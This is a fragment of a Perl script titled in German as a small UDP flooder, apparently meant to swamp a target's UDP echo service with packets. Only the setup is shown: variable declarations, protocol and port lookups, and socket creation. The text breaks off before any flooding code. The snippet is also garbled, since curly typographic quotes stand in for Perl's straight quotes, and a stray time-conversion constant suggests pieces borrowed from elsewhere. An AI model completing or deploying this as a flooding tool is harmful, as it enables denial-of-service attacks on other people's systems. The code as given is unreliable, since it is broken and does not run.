Kleiner UDP-Flooder

#!/usr/bin/perl -w

use strict; use Socket; use Sys::Hostname;

my ( $count, $hisiaddr, $hispaddr, $histime,

$host, $iaddr, $paddr, $port, $proto,
$rin, $rout, $rtime, $SECS_of_70_YEARS);

$SECS_of_70_YEARS = 2208988800;

$proto = getprotobyname(‚udp‘); $port = getservbyname(‚echo‘, ‚udp‘);

socket(SOCKET, PF_INET, SOCK_DGRAM, $proto) || die „socket: $!“;

open RAN, „